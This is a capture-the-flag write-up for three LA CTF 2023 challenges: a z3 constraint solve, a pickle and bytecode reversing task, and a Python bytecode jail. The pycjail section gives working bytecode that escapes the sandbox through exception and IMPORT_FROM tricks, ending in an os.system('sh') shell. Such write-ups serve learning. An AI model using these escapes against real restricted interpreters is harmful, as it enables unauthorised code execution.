Page MenuHomedesp's stash

lactf23.md
No OneTemporary

lactf23.md

### universal
box standard z3 chall after decompiling the class into java
its always pretty nice to see a huge if statement thats a telltale sign for z3
*i love regex regex lets me solve this in 2 mins :)*
~~still too slow for first blood tho sadge got it 2 mins after coz i was working on snek and didnt realize this was just a z3 chall~~
`lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}` real
```py
from z3 import *
bytes = [BitVec(f'byte {i}', 8) for i in range(38)]
s = Solver()
s.add(((bytes[34] ^ bytes[23] * 7 ^ ~bytes[36] + 13) & 0xFF) == 0xB6 )
s.add(((bytes[37] ^ bytes[10] * 7 ^ ~bytes[21] + 13) & 0xFF) == 0xDF )
s.add(((bytes[24] ^ bytes[23] * 7 ^ ~bytes[19] + 13) & 0xFF) == 0xCD )
s.add(((bytes[25] ^ bytes[13] * 7 ^ ~bytes[23] + 13) & 0xFF) == 0x90 )
s.add(((bytes[6] ^ bytes[27] * 7 ^ ~bytes[25] + 13) & 0xFF) == 0x8A )
s.add(((bytes[4] ^ bytes[32] * 7 ^ ~bytes[22] + 13) & 0xFF) == 0xE3 )
s.add(((bytes[25] ^ bytes[19] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0x6B )
s.add(((bytes[22] ^ bytes[7] * 7 ^ ~bytes[29] + 13) & 0xFF) == 0x55 )
s.add(((bytes[15] ^ bytes[10] * 7 ^ ~bytes[20] + 13) & 0xFF) == 0xBC )
s.add(((bytes[29] ^ bytes[16] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0x58 )
s.add(((bytes[35] ^ bytes[4] * 7 ^ ~bytes[33] + 13) & 0xFF) == 0x54 )
s.add(((bytes[36] ^ bytes[2] * 7 ^ ~bytes[4] + 13) & 0xFF) == 0x67 )
s.add(((bytes[26] ^ bytes[3] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0xD8 )
s.add(((bytes[12] ^ bytes[6] * 7 ^ ~bytes[18] + 13) & 0xFF) == 0xA5 )
s.add(((bytes[12] ^ bytes[28] * 7 ^ ~bytes[36] + 13) & 0xFF) == 0x97 )
s.add(((bytes[20] ^ bytes[0] * 7 ^ ~bytes[21] + 13) & 0xFF) == 0x65 )
s.add(((bytes[27] ^ bytes[36] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0xF8 )
s.add(((bytes[35] ^ bytes[2] * 7 ^ ~bytes[19] + 13) & 0xFF) == 0x2C )
s.add(((bytes[13] ^ bytes[11] * 7 ^ ~bytes[33] + 13) & 0xFF) == 0xF2 )
s.add(((bytes[33] ^ bytes[11] * 7 ^ ~bytes[3] + 13) & 0xFF) == 0xEB )
s.add(((bytes[31] ^ bytes[37] * 7 ^ ~bytes[29] + 13) & 0xFF) == 0xF8 )
s.add(((bytes[1] ^ bytes[33] * 7 ^ ~bytes[31] + 13) & 0xFF) == 0x21 )
s.add(((bytes[34] ^ bytes[22] * 7 ^ ~bytes[35] + 13) & 0xFF) == 0x54 )
s.add(((bytes[36] ^ bytes[16] * 7 ^ ~bytes[4] + 13) & 0xFF) == 0x4B )
s.add(((bytes[8] ^ bytes[3] * 7 ^ ~bytes[10] + 13) & 0xFF) == 0xD6 )
s.add(((bytes[20] ^ bytes[5] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0xC1 )
s.add(((bytes[28] ^ bytes[34] * 7 ^ ~bytes[16] + 13) & 0xFF) == 0xD2 )
s.add(((bytes[3] ^ bytes[35] * 7 ^ ~bytes[9] + 13) & 0xFF) == 0xCD )
s.add(((bytes[27] ^ bytes[22] * 7 ^ ~bytes[2] + 13) & 0xFF) == 0x2E )
s.add(((bytes[27] ^ bytes[18] * 7 ^ ~bytes[9] + 13) & 0xFF) == 0x36 )
s.add(((bytes[3] ^ bytes[29] * 7 ^ ~bytes[22] + 13) & 0xFF) == 0x20 )
s.add(((bytes[24] ^ bytes[4] * 7 ^ ~bytes[13] + 13) & 0xFF) == 0x63 )
s.add(((bytes[22] ^ bytes[16] * 7 ^ ~bytes[13] + 13) & 0xFF) == 0x6C )
s.add(((bytes[12] ^ bytes[8] * 7 ^ ~bytes[30] + 13) & 0xFF) == 0x75 )
s.add(((bytes[25] ^ bytes[27] * 7 ^ ~bytes[35] + 13) & 0xFF) == 0x92 )
s.add(((bytes[16] ^ bytes[10] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0xFA )
s.add(((bytes[21] ^ bytes[25] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0xC3 )
s.add(((bytes[26] ^ bytes[10] * 7 ^ ~bytes[30] + 13) & 0xFF) == 0xCB )
s.add(((bytes[20] ^ bytes[2] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0x2F )
s.add(((bytes[34] ^ bytes[12] * 7 ^ ~bytes[27] + 13) & 0xFF) == 0x79 )
s.add(((bytes[19] ^ bytes[34] * 7 ^ ~bytes[20] + 13) & 0xFF) == 0xF6 )
s.add(((bytes[25] ^ bytes[22] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0x3D )
s.add(((bytes[19] ^ bytes[28] * 7 ^ ~bytes[37] + 13) & 0xFF) == 0xBD )
s.add(((bytes[24] ^ bytes[9] * 7 ^ ~bytes[17] + 13) & 0xFF) == 0xB9)
for b in bytes:
s.add(b >= 0x20)
s.add(b <= 0x7F)
s.check()
model = s.model()
for i in bytes:
if str(model[i]) != 'None':
print(chr(int(str(model[i]))), end='')
```
### snek
ngl this was kinda fun i get to use my niche pickling knowledge from kevin higgs revenge in gdg lmao
~~though it ended up being me just dumping the code and not actually reversing the pickle anyway~~
since we are given a blob thats very clearly a pickle coz of the `#!py __import__('pickle').loads`, ofc the first thing to do is to `#!py import pickletools; pickletools.dis` it
and holy thats a huge pickle
we can clearly see that the top part is a character mapping though which is utilized through `MEMOIZE` and `GET` and `#!py builtins.str.join`
so with a bit of ~~scuffed~~ parsing we can extract the mapping:
```py
import pickletools, io, re
data = io.StringIO()
#blob omitted since its way too big to paste here
pickletools.dis(blob, out=data)
data = data.getvalue().split('\n')
alph = ""
for i, line in enumerate(data):
if 'MEMOIZE' in line and 'BINUNICODE' in data[i-1]:
alph += eval(data[i-1].split('BINUNICODE ')[1])
print(alph.encode())
```
and with the mapping we can extract a lot of data on what is being called and whatnot ~~through another scuffed af parser~~:
```py
currstr = ""
for i, line in enumerate(data):
if 'GET' in line:
currstr += alph[int(line[line.index('GET ') + len('GET '):])]
elif 'REDUCE' in line and 'LIST' not in data[i-2] and 'GET' not in data[i-3]:
print('CALL ABOVE')
elif 'STACK_GLOBAL' in line:
print('GET OBJ')
elif 'BINBYTES' in line:
print('ARG BYTES')
else:
if currstr:
print(currstr)
currstr = ""
```
which tells roughly what strings should be treated as an object and whats being called on what
looking at the strings in a stack based mindset and referring back to the pickle its not too hard to realize what the `BINBYTES` blobs inside the pickle are:
<div class="table-responsive">
<table class="w-100">
<tr>
<td class="p-2 w-100">
```
builtins
bytes
GET OBJ
builtins
map
GET OBJ
functools
partial
GET OBJ
operator
and_
GET OBJ
CALL ABOVE
itertools
starmap
GET OBJ
operator
xor
GET OBJ
builtins
enumerate
GET OBJ
ARG BYTES
CALL ABOVE
CALL ABOVE
CALL ABOVE
CALL ABOVE
```
</td>
<td class="p-2 w-100"></td>
<td class="p-2 w-100">
```py
import itertools, operator, functools
byte1 = bytes(map(functools.partial(operator.and_, 255), itertools.starmap(operator.xor, enumerate(byte1))))
import dis
dis.dis(byte1)
```
</td>
</tr>
<tr>
<td class="p-2 w-100">
```
pickle
loads
builtins
bytes
builtins
reversed
ARG BYTES
CALL ABOVE
CALL ABOVE
CALL ABOVE
```
</td>
<td class="p-2 w-100"></td>
<td class="p-2 w-100">
```py
byte2 = byte2[::-1]
pickletools.dis(byte2)
```
</td>
</tr>
</table>
</div>
which yields us one bytecode blob and one pickle blob, both perfectly disassemblable
but looking at the disassemblies, we see another spam of things like:
```text
369: \x94 MEMOIZE (as 56)
370: K BININT1 17
372: K BININT1 3
374: \x86 TUPLE2
375: \x94 MEMOIZE (as 57)
376: K BININT1 17
378: K BININT1 9
```
and some bytecode that i didnt really wanna read through which also cant be decompiled since i dont have the data for co_names and all that yet
if i really wanna make it decompilable, ill probably have to reverse the rest of the main pickle which seems to grab a reference of the code object class, instantiate it with a lot of weird stuff (namely just `snek`s everywhere), and setting that to `#!py pickle.encode_long.__code__`
which i honestly wasnt too keen on making another parser for
but its also at this point where i saw the single `BUILD` call, and i figured since they are calling the function here anyway why dont i just hook the `BUILD` opcode handler and just dump the fully built code object
which is surprisingly straightforward if we copy the handler from src and call unpickler directly
```py
import pickle, importlib
def load_build(self):
stack = self.stack
state = stack.pop()
with open('testsnek.pyc', 'wb') as w:
code = state[1]['__code__'].replace(co_varnames=tuple([v+str(i) for i,v in enumerate(state[1]['__code__'].co_varnames)]))
print(code.co_consts)
w.write(importlib._bootstrap_external._code_to_timestamp_pyc(code))
#https://stackoverflow.com/questions/73439775/how-to-convert-marshall-code-object-to-pyc-file
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
pickle._Unpickler.dispatch[pickle.BUILD[0]] = load_build
#once again skipping the blob
s = blob
import io
pickle._Unpickler(io.BytesIO(s), fix_imports=True, encoding="ASCII", errors="strict", buffers=None).load()
```
(the `#!py [v+str(i) for i,v in enumerate(state[1]['__code__'].co_varnames)]` is for replacing the variables names which are all `snek` that somehow works in code objects (coz presumably the variable name parsing stage is by the compiler i guess) but is just hard to read during decomp)
now that we got the pyc file, we can just run something like `pycdc testsnek.pyc`:
```
# Source Generated with Decompyle++
# File: testsnek.pyc (Python 3.10)
Unsupported opcode: BUILD_SET
import pickle as snek
snek.encode_long.__code__ = snek.encode_long.__code__
import time as snek
snek = deque
import collections
snek = 20
snek = 0x1C5CF1CC586592A8151C3C3A5L
# WARNING: Decompyle incomplete
```
oh right i forgot nothing really decompiles 3.10 yet :sob:
time to do the same thing i did in nahamcon for `brainmelt` and patch `ASTree.cpp`:
```diff
diff --git a/ASTree.cpp b/ASTree.cpp
index 1c283a1..da9ab9a 100644
--- a/ASTree.cpp
+++ b/ASTree.cpp
@@ -453,6 +453,7 @@ PycRef<ASTNode> BuildFromCode(PycRef<PycCode> code, PycModule* mod)
stack.push(new ASTJoinedStr(values));
}
break;
+ case Pyc::BUILD_SET_A:
case Pyc::BUILD_TUPLE_A:
{
ASTTuple::value_t values;
@@ -1547,6 +1548,55 @@ PycRef<ASTNode> BuildFromCode(PycRef<PycCode> code, PycModule* mod)
}
}
break;
+ case Pyc::SET_UPDATE_A: //TODO
+ {
+ PycRef<ASTNode> rhs = stack.top();
+ stack.pop();
+ PycRef<ASTNode> lhs = stack.top().cast<ASTNode>();
+ stack.pop();
+
+ if (rhs.type() != ASTNode::NODE_OBJECT) {
+ fprintf(stderr, "Unsupported argument found for LIST_EXTEND\n");
+ break;
+ }
+
+ // I've only ever seen this be a SMALL_TUPLE, but let's be careful...
+ PycRef<PycObject> obj = rhs.cast<ASTObject>()->object();
+ ASTList::value_t result = ASTList::value_t();
+ if (obj->type() != PycObject::TYPE_TUPLE && obj->type() != PycObject::TYPE_SMALL_TUPLE) {
+ printf("%c\n", obj->type());
+ // fprintf(stderr, "Unsupported argument type found for LIST_EXTEND\n");
+
+ //for frozensets
+ if(obj->type() == PycObject::TYPE_LIST) {
+ for (const auto& it : lhs.cast<PycList>()->values()) {
+ result.push_back(new ASTObject(it));
+ }
+ } else if(obj->type() == PycObject::TYPE_SET) {
+ for (const auto& it : lhs.cast<PycSet>()->values()) {
+ result.push_back(new ASTObject(it));
+ }
+ }
+
+ } else {
+ //for tuples
+ for (const auto& it : lhs.cast<PycSet>()->values()) {
+ result.push_back(new ASTObject(it));
+ }
+ }
+
+ stack.push(new ASTList(result));
+ }
+ break;
case Pyc::LIST_EXTEND_A:
{
PycRef<ASTNode> rhs = stack.top();
```
and yes in case you are wondering i basically just copied the code from other opcode handlers coz all i need is for it to pass and create a good looking enough decomp lmao
doesnt have to be accurate coz ill have to clean it up anyway
running it again yields us a way better decomp:
```py
import pickle as snek0
snek0.encode_long.__code__ = snek0.encode_long.__code__
import time as snek1
snek2 = deque
import collections
snek3 = 20
snek4 = 0x1C5CF1CC586592A8151C3C3A5L
snek5 = [
[],
[],
[],
[],
[],
[],
[],
[],
[],
[]]
snek6 = snek2([
(0, 0)])
snek7 = (1, 0)
snek8 = 0
snek9 = snek2([])
snek10 = []
snek11 = ''
for snek12 in range(snek3):
snek13 = ''
for snek14 in range(snek3):
if (snek12, snek14) in snek6:
snek13 += '#'
continue
if (snek12, snek14) in snek5[snek8]:
snek13 += 'o'
continue
snek13 += '.'
snek11 += snek13 + '\n'
print(snek11, True, **('flush',))
if len(snek9) > 0:
snek15 = snek9.popleft()
if isinstance(snek15, int) or snek15.isdigit():
snek15 = int(snek15)
snek15 -= 1
if snek15 > 0:
snek9.appendleft(snek15)
snek16 = snek6[0]
snek17 = (snek16[0] + snek7[0], snek16[1] + snek7[1])
if snek17[0] < 0 and snek17[0] >= snek3 and snek17[1] < 0 or snek17[1] >= snek3:
print('snek dead :(')
return None
None.appendleft(snek17)
if snek17 in snek5[snek8]:
snek8 += 1
snek10.append(snek17)
if snek8 == len(snek5):
snek18 = 0
for snek19, snek20 in snek10:
snek18 ^= 1337
snek18 *= snek3 ** 2
snek18 += snek19 * snek3 + snek20
if snek4 == snek18:
print('snek happy :D')
print(open('flag.txt', 'r').read().strip())
return None
None('snek sad :(')
return None
snek6.pop()
elif snek15 == 'L':
snek7 = (-snek7[1], snek7[0])
elif snek15 == 'R':
snek7 = (snek7[1], -snek7[0])
else:
print('snek confused :(')
return None
None.sleep(0.1)
else:
snek9.extend(input('snek? ').strip().split())
continue
```
though its clear that my code didnt deal with frozensets as well as i hoped LMAO
but then again we can see `snek5` has the same length as the frozensets list in `co_consts` so we can just sub it in
along with fixing some clearly broken code like `#!py None.sleep(0.1)` and some renaming we finally can get a runnable decomp and a pretty good understanding on what its doing:
```py
import pickle as snek0
snek0.encode_long.__code__ = snek0.encode_long.__code__
import time
import collections as snek2
snek2 = snek2.deque
bound = 20
final = 0x1C5CF1CC586592A8151C3C3A5
data = [frozenset({(6, 12), (3, 4), (4, 9), (19, 6), (9, 5), (14, 19), (5, 16), (19, 9), (10, 0), (8, 6), (8, 9), (10, 9), (17, 12), (8, 3), (1, 3), (16, 7), (7, 7), (14, 9), (17, 5), (14, 12), (4, 11), (5, 12), (8, 11), (19, 8), (8, 14), (19, 14), (9, 16), (0, 16), (11, 16), (16, 3), (18, 12), (16, 18), (7, 18), (4, 7), (4, 1), (4, 4), (4, 16), (5, 5), (8, 4), (17, 1), (19, 1), (11, 0), (14, 17), (0, 6), (16, 2), (1, 13), (2, 15), (18, 5), (15, 12), (16, 11)}), frozenset({(6, 18), (6, 15), (17, 3), (5, 1), (17, 9), (14, 13), (5, 10), (8, 9), (14, 19), (11, 5), (10, 9), (9, 11), (8, 15), (2, 5), (1, 18), (12, 3), (14, 6), (15, 9), (14, 9), (3, 9), (5, 3), (17, 11), (4, 11), (5, 15), (8, 14), (11, 10), (2, 7), (9, 19), (2, 13), (6, 7), (18, 6), (6, 3), (14, 2), (5, 2), (12, 17), (3, 8), (3, 17), (17, 10), (17, 16), (0, 3), (2, 0), (17, 19), (8, 13), (2, 9), (10, 16), (15, 0), (13, 3), (1, 16), (13, 15), (18, 11)}), frozenset({(18, 17), (7, 17), (3, 1), (3, 10), (3, 16), (5, 13),
(5, 1), (8, 3), (8, 18), (1, 12), (6, 2), (16, 16), (15, 17), (6, 17), (14, 0), (17, 2), (14, 9), (5, 3), (9, 1), (17, 14), (8, 11), (8, 5), (10, 5), (8, 17), (2, 7), (15, 4), (13, 1), (1, 5), (0, 13), (19, 17), (7, 9), (6, 13), (12, 8), (17, 7), (4, 13), (19, 1), (9, 9), (14, 17), (5, 14), (5, 17), (11, 9), (10, 7), (10, 1), (9, 15), (0, 12), (0, 15), (10, 19), (18, 2), (16, 11), (15, 15)}), frozenset({(3, 4), (14, 4), (12, 10), (3, 7), (4, 6), (5, 7), (19, 6), (4, 15), (19, 3), (0, 5), (0, 8), (11, 17), (2, 8), (15, 17), (7, 13), (3, 0), (4, 5), (14, 3), (14, 18), (3, 18), (12, 18), (3,
15), (19, 5), (8, 11), (19, 11), (0, 10), (11, 10), (13, 7), (10, 8), (0, 13), (2, 16), (15, 10), (7, 9), (7, 6), (16, 18), (12, 5), (4, 4), (4, 16), (4, 19), (19, 1), (17, 16), (19, 7), (9, 12), (11, 12), (0, 12), (13, 6), (7, 2), (18, 2), (13, 15), (15, 12)}), frozenset({(8, 0), (5, 13), (0, 2), (19, 3), (10, 0), (9, 8), (2, 2), (9, 17), (0, 8), (11, 8), (10, 15), (7, 4), (7, 1), (16, 10), (15, 14), (6, 8), (15, 17), (18, 13), (12, 3), (3, 6), (17, 11), (4, 17), (9, 7), (5, 12), (0, 4), (11, 13), (0, 19), (15, 13), (16, 6), (18, 12), (6, 10), (16, 18), (12, 11), (7, 18), (17, 4), (3, 11), (3, 14), (4, 19), (0, 3), (17, 19), (13, 0), (5, 17), (2, 3), (11, 18), (9, 18), (15, 6), (1, 13), (1, 10), (0, 18), (16, 17)}), frozenset({(4, 6), (4, 12), (9, 2), (3, 10), (17, 6), (17, 12), (11, 2), (9, 8), (9, 14), (10, 3), (9, 17), (17, 18), (2, 11), (0, 11), (15, 8), (12, 6), (4, 5), (3, 6), (3, 12), (19, 11), (9, 10), (19, 14), (8, 17), (15, 4), (11, 13), (2, 10), (10, 17), (1, 14), (16, 6), (15, 10), (6, 13), (15, 19), (6, 16), (16,
18), (12, 5), (3, 2), (17, 4), (4, 16), (17, 1), (3, 8), (3, 17), (8, 7), (1, 1), (9, 12), (11, 9), (19, 10), (2, 0), (2, 6), (7, 11), (15, 18)}), frozenset({(4, 0), (12, 7), (3, 4), (14, 7), (19, 0), (19, 6), (4, 15), (3, 19), (10, 0), (14, 19), (9, 14), (13, 11), (18, 1), (1, 15), (12, 3), (14,
6), (4, 5), (4, 14), (3, 12), (19, 2), (9, 1), (11, 1), (8, 14), (19, 14), (2, 7), (0, 13), (0, 19), (11, 19), (1, 14), (13, 16), (13, 13), (16, 12), (15, 19), (6, 19), (5, 2), (3, 8), (5, 5), (19, 4), (8, 4), (3, 14), (19, 7), (19, 10), (1, 4), (8, 13), (16, 2), (13, 6), (7, 2), (0, 18), (6, 3),
(16, 11)}), frozenset({(7, 17), (9, 5), (0, 2), (10, 0), (14, 13), (9, 14), (13, 2), (9, 11), (19, 18), (8, 18), (16, 4), (1, 9), (16, 7), (13, 8), (15, 11), (1, 18), (2, 17), (13, 17), (15, 14), (7, 13), (4, 2), (12, 15), (4, 11), (19, 11), (17, 17), (11, 10), (19, 17), (8, 17), (1, 11), (11, 13), (0, 19), (13, 16), (6, 7), (6, 13), (16, 18), (7, 18), (17, 4), (19, 4), (4, 13), (4, 19), (14, 17), (10, 4), (13, 3), (15, 6), (9, 18), (2, 6), (2, 15), (16, 14), (7, 11), (7, 8)}), frozenset({(6, 18), (7, 17), (14, 4), (7, 5), (14, 1), (5, 16), (10, 6), (0, 17), (10, 15), (16, 7), (13, 14), (6, 5), (16, 13), (18, 19), (14, 6), (4, 14), (17, 5), (8, 2), (8, 5), (5, 18), (5, 12), (19, 8), (11, 7), (13, 4), (0, 16), (13, 10), (15, 7), (18, 0), (16, 6), (16, 12), (15, 10), (6, 13), (16, 15), (15, 19), (16, 18), (14, 2), (12, 11), (9, 0), (17, 7), (19, 7), (17, 13), (0, 9), (5, 17), (15, 0), (2, 6), (16, 5), (1, 10), (18, 5), (16, 17), (7, 14)}), frozenset({(12, 7), (3, 1), (12, 19), (3, 10), (9, 5), (8, 3), (10, 0), (3, 19), (17, 6), (9, 14), (5, 19), (10, 3), (17, 18), (11, 14), (2, 11), (2, 8), (15, 11), (16, 16), (6, 14), (3, 0), (3, 3), (5, 6), (17, 5), (3, 12), (4, 17), (8, 8), (0, 7), (2, 4), (9, 16), (13, 1), (1, 11), (2, 10), (6, 4), (18, 3), (6, 16), (7, 15), (7, 18), (4, 10), (5, 5), (4, 13), (3, 17), (0, 9), (5, 17), (9, 15), (8, 19), (1, 7), (16, 5), (7, 2), (6, 6), (13, 15)})]
snakenodes = snek2([
(0, 0)])
direction = (1, 0)
snakelength = 0
gamestate = snek2([])
fruitseaten = []
while True:
#print board
snek11 = ''
for snek12 in range(bound):
snek13 = ''
for snek14 in range(bound):
if (snek12, snek14) in snakenodes:
snek13 += '#'
continue
if (snek12, snek14) in data[snakelength]:
snek13 += 'o'
continue
snek13 += '.'
snek11 += snek13 + '\n'
print(snek11, flush=True)
if len(gamestate) > 0:
curr = gamestate.popleft()
if isinstance(curr, int) or curr.isdigit():
curr = int(curr)
curr -= 1
if curr > 0:
gamestate.appendleft(curr)
snakehead = snakenodes[0]
currloc = (snakehead[0] + direction[0], snakehead[1] + direction[1])
if currloc[0] < 0 and currloc[0] >= bound and currloc[1] < 0 or currloc[1] >= bound:
print('snek dead :(')
break
snakenodes.appendleft(currloc)
if currloc in data[snakelength]: #has fruit?
snakelength += 1
fruitseaten.append(currloc)
if snakelength == len(data): #snake has grown to len 10
snek18 = 0
for x, y in fruitseaten: #the pos of the 10 fruits weve eaten
snek18 ^= 1337
snek18 *= bound ** 2
snek18 += x * bound + y
if final == snek18:
print('snek happy :D')
print(open('flag.txt', 'r').read().strip())
break
print('snek sad :(')
break
snakenodes.pop()
elif curr == 'L':
direction = (-direction[1], direction[0])
elif curr == 'R':
direction = (direction[1], -direction[0])
else:
print('snek confused :(')
break
time.sleep(0.1)
else:
gamestate.extend(input('snek? ').strip().split())
continue
```
which is now about as easy to understand as it gets for a rev chall:
- its a box standard snake game
- we move by specifying direction (`L` for counterclockwise, `R` for clockwise), and the amount of steps in that direction
- can specify infinite steps in a single input if needed
- we need to eat 10 fruits in total
- we need to eat the fruits in the order determined by `final`
after brainfarting for actually way too long thinking i need to either z3 or bruteforce this and to no avail, i realized its literally trivially decomposable since its just storing data in chunks of `20^2`
and i brainfarted *even more* by not realizing i was iterating in the wrong order so the positions i got was not matching up with the location of the fruits specified in `data`
which made me so confused to the point where i was doubting my math skills yet again :upside_down:
anyways with
```py
pos = []
for i in range(10):
#in reversed order
if i: #the last one should not be xored
final ^= 1337
val = final % (20 ** 2)
y, x = (val // 20, val % 20)
pos.append((x, y))
if (y,x) not in data[9-i]:
print(x, y, 'off') #should not happen
final //= (20 ** 2)
for p in pos[::-1]:
print(*p)
```
we can finally get the list of fruit coords we gotta eat in order to trigger the "special" ending that prints the flag
```text
x y
0 11
3 0
18 8
18 14
11 17
12 3
10 19
7 16
15 16
5 16
```
and since at this point i dont trust myself in coding anything anymore i just solved it ~~painfully~~ by hand routing the path and playing
which yields us `9 L 1 R 2 R 1 R 8 R 3 L 3 R 8 R 7 L 1 R 3 L 6 L 2 R 1 R 6 R 1 7 L 3 1 L 2 L 6 R 2 L 9 L 3 2 L 16 R 3 R 3 R 4 L 1 R 4 R 1 1 R 8 R 1 L 3`
and running it on remote finally yields us the flag after a lot of board printing:
`lactf{h4h4_sn3k_g0_brrrrrrrr}`
### pycjail
ngl this one is just finding That One Trick:tm: in the cpython impl lmao
that being said i havent really looked into the opcode implementations for cpython so it ended up taking a bit of time and trial and error still
still feels easier than snek tho idk why this has so much less solves than that
* * *
since we are writing python instructions by hand i first tried a few normal things to get the hang of writing the bytecode
like the args for each opcode and all that
while trying that i got an idea tho and that is to invoke an exception which in a lot of higher level languages provide quite a bit of debug detail which is usually crucial to leaking info or getting data to nudge with
like python tracebacks has frame info embedded in `tb_frame` which grants us access to globals and locals and all that
while trying to set up try except frames i realized `RAISE_VARARGS` performing reraise (8200) is probably the easiest way to trigger an exception with the least amount of code
and after looking a bit on how to set up try except frames in bytecode plugging in `7a01 8200 5300` really did return us something pretty useful: `<class 'RuntimeError'>`
but thats probably not it, so to make it easy to check the stack i packed the last 3 vals on the interpreter stack into a tuple before returning with `7a01 8200 6603 5300`, and aha: `(<traceback object at 0x7f4b4f2c3340>, RuntimeError('No active exception to reraise'), <class 'RuntimeError'>)`
since our goal is to somehow load attributes reading through some instructions thats not banned (all `LOAD`/`STORE`/`DELETE` are basically banned aside from `LOAD_CONSTS`), i locked onto the `MATCH_CLASS` method, which is recently added in 3.10, exactly the version the remote is running:
> TOS is a tuple of keyword attribute names, TOS1 is the class being matched against, and TOS2 is the match subject. count is the number of positional sub-patterns.
>
> Pop TOS. If TOS2 is an instance of TOS1 and has the positional and keyword attributes required by count and TOS, set TOS to True and TOS1 to a tuple of extracted attributes. Otherwise, set TOS to False.
>
> *New in version 3.10.*
which means it accepts a class and then an object to check for an attribute, and return that on success (along with a `True`/`False` indicator)
wwwaaaaiiittt doesnt that fit exactly what we have on the stack after generating the exception? that means we can get arbitrary attributes from the exception class eyo
and indeed that it does - with some nudging, we can get the following:
```text
consts: __setattr__
names:
code: 7a01 8200 6400 6601 9800 6603 5300
here goes!
(<traceback object at 0x7ff5c9d42c40>, (<method-wrapper '__setattr__' of RuntimeError object at 0x7ff5c9cdd080>,), True)
```
but now the problem comes - we can get anything from RuntimeError, and even set attributes on the object by duplicating them on the stack so we can refer to it after it gets consumed by `MATCH_CLASS`, but thats about as far as we can go since we cant really chain attribute gets:
- its not possible to obtain the class object of the attribute itself without getting the `__class__` attribute first which is a circular dependency,
- and we cant really obtain any useful objects to store into setattr outside of those reachable by calling the exception attributes or directly accessing them either anyways, which from all the exception classes i can invoke none provide any useful attributes i can use
- all methods we obtain are from the object not the class, and therefore bound to it so we cant just obtain a generic getattr for any objects (e.g. invoke `RuntimeError`'s `__getattribute__` on the traceback object) - see how it says `<method-wrapper>` not `<slot wrapper>`, ~~which itself is bound to all `BaseException` objects only so we cant apply it to most things anyway~~
so after a lot of coping (why did it have to look so promising man :sob:) its time to go back to the drawing board
ive always thought the way that they hardcoded `IMPORT_NAME` and not all the `IMPORT_.*` opcodes to be kinda suspicious, so i looked into that right after
i first tried `IMPORT_STAR` and seeing if i can get it to load attributes from objects that arent modules, and it actually kinda worked, with the object popped and no errors - except it doesnt load it into the stack, and we cant do `LOAD_FAST` coz thats banned (and we cant write values to `co_varnames` anyway)
so its time to check `IMPORT_FROM` - it seems like this one performs much more module related checks, but after quite a while of digging into the rabbit hole of functions that this opcode uses (and even had to debug cpython to figure out why it wasnt returning what i was expecting and opcodes dont give good error messages 90% of the time), i realized:
- `IMPORT_FROM` can actually import arbitrary modules as long as you fake a `__name__` in the object, which we can do by obtaining `__setattr__` through the `MATCH_CLASS` trick and then setting `__name__` to an arbitrary string we can load from `LOAD_CONST` (its the only data type we can enter into co_consts, which was surpringly helpful)
- however, it has to be already loaded before (aka in `sys.modules`), or else it fails (this is presumably due to the interpreter expecting `IMPORT_NAME` to be called before `IMPORT_FROM` like it normally does)
- the module name also has to be in the form of `<pkgname>.<name>` - theres no way to remove that dot since it is hardcoded regardless of whether you have an empty string or not
and with the following (jail conformant, but for illustration purpose its in an interactive console instead) code we can verify that the above deductions are correct:
```pycon
>>> f.__code__ = f.__code__.replace(co_code=bytes.fromhex('7a01 8200 0500 6400 6601 9800 0100 5c01 6401 6402 8302 6602 0100 6d00 5300'), co_consts=('__setattr__', '__name__', 'importlib'), co_names=('util',))
>>> import dis; dis.dis(f.__code__)
1 0 SETUP_FINALLY 1 (to 4)
2 RAISE_VARARGS 0
>> 4 DUP_TOP_TWO
6 LOAD_CONST 0 ('__setattr__')
8 BUILD_TUPLE 1
10 MATCH_CLASS 0
12 POP_TOP
14 UNPACK_SEQUENCE 1
16 LOAD_CONST 1 ('__name__')
18 LOAD_CONST 2 ('importlib')
20 CALL_FUNCTION 2
22 BUILD_TUPLE 2
24 POP_TOP
26 IMPORT_FROM 0 (util)
28 RETURN_VALUE
>>> f()
<module 'importlib.util' from '/usr/lib/python3.10/importlib/util.py'>
```
unfortunately having a module object really doesnt do us much good since the good ol "no getattr and no LOAD_FAST" strikes again
and we can already import module from plain ol objects arbitrarily so theres no point in getting a real module especially when we cant import actually useful ones like `sys`
but this got me very confused since im definitely sure `from x import y` can import non module things too so i must be missing something
and missing something i definitely did :facepalm::
```c
if (_PyObject_LookupAttr(v, name, &x) != 0) {
return x;
}
```
this is literally the first thing in the handler which checks if the attribute exists in the object and instantly returns it if so *without checking anything module related*
which means its literally a `getattr` in disguise lmao i didnt have to find such a convoluted way to load a module when i can just chain attributes
~~which is honestly sad coz this payload is pretty cool ngl~~
from here on out its just a normal pyjail with some length restrictions which isnt a problem since we can easily RCE with `#!py traceback.tb_frame.f_builtins['exec']('breakpoint()')` (exec needed since breakpoint doesnt behave well on a broken stack like this apparently)
but yea with this we get the flag lmao
```pycon
consts: exec,breakpoint()
names: tb_frame,f_builtins
code: 7a01 8200 6602 0100 6d00 6d01 6400 1900 6401 8301 5300
here goes!
--Return--
> <string>(1)<module>()->None
(Pdb) import os; os.system('sh')
ls
flag.txt
run
cat flag.txt
flag{maybe_i_should_only_allow_nops_next_time}
```
hey at least i learnt quite a bit on how i can trick cpython to do things i want to if i have access to durect bytecode
also it turns out setting `__code__` can break cpython in quite a lot of ways lmao with everything from `free(): invalid pointer` to `Segmentation fault` if you get a funny interpreter stack going
the easiest one is to just exhaust the stack so that TOS doesnt even exist anymore
i wonder if its possible to do some cpython pwning with that actually :thinking:
~~also kinda sus that the flag aint `lactf` prefixed~~
### a hacker's notes
